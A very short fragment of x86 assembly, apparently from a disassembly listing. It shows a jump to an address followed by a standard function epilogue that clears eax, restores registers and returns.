jmp 0x40c508
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret